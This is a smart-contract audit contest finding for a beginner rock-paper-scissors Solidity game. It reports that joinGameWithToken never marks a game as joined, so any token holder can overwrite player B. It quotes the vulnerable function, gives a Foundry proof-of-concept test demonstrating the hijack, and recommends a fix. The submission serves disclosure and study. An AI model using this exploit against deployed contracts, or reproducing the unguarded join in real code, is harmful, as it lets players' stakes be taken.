Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

[H-2] Any one can Join the game and replace playerB in `RockPaperScissors::joinGameWithToken`

Summary

I found that anyone ( let call it player X ) can replace player B that join the game with token

Vulnerability Details

when player A created the game, and player B joins, there's no any state update that determines player B has join and no one can join this game which will make player X to join and replace player B
in https://github.com/CodeHawks-Contests/2025-04-rock-paper-scissors/blob/25cf9f29c3accd96a532e416eee6198808ba5271/src/RockPaperScissors.sol#L170

function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}

Impact

Attacker can join and replace player B which will make him to lose his fee and lost the chance of winning the game

Tools Used

Manual review

POC

Use the below function and add to /test/RockPaperScissorsTest.t.sol

// Test joining a game with token by player X
function testJoinGameWithTokenPlayerX() public {
// First create a game with token
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
// Now join the game with token
vm.startPrank(playerB);
token.approve(address(game), 1);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithToken(gameId);
// Creating new player as playerX
address playerX = makeAddr("playerX");
// Fund playerX with token
vm.startPrank(address(game)); // become the owner of RockPaperScissors contract before minting the token to playerX
token.mint(playerX, 10); // Giving the playerX 10 tokens
// join as playerX
vm.startPrank(playerX);
token.approve(address(game), 1);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerX);
game.joinGameWithToken(gameId);
vm.stopPrank();
// Verify token transfer
assertEq(token.balanceOf(playerA), 9); // if player A joins, his balance will become 9
assertEq(token.balanceOf(playerB), 9); // if player B joins, his balance will become 9
assertEq(token.balanceOf(playerX), 9); // if player X joins, his balance will become 9
assertEq(token.balanceOf(address(game)), 3); // if the playerX join and replace playerB, the balance of RockPaperScissors contract will become 3 tokens
// Verify game state
(address storedPlayerA, address storedPlayerB,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerB, playerX); // if(storedPlayerB == playerX) { console.Log("PlayerX can replaced playerB")}
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
}

then run the test with foundry using

forge test --mt testJoinGameWithTokenPlayerX

If the test pass then it is vulnerable

Recommendations

Add state update after playerB joins the game and check for it whenever the function was called with the same gameId

Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Absence of State Change on Join Allows Player B Hijacking

Game state remains Created after a player joins

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.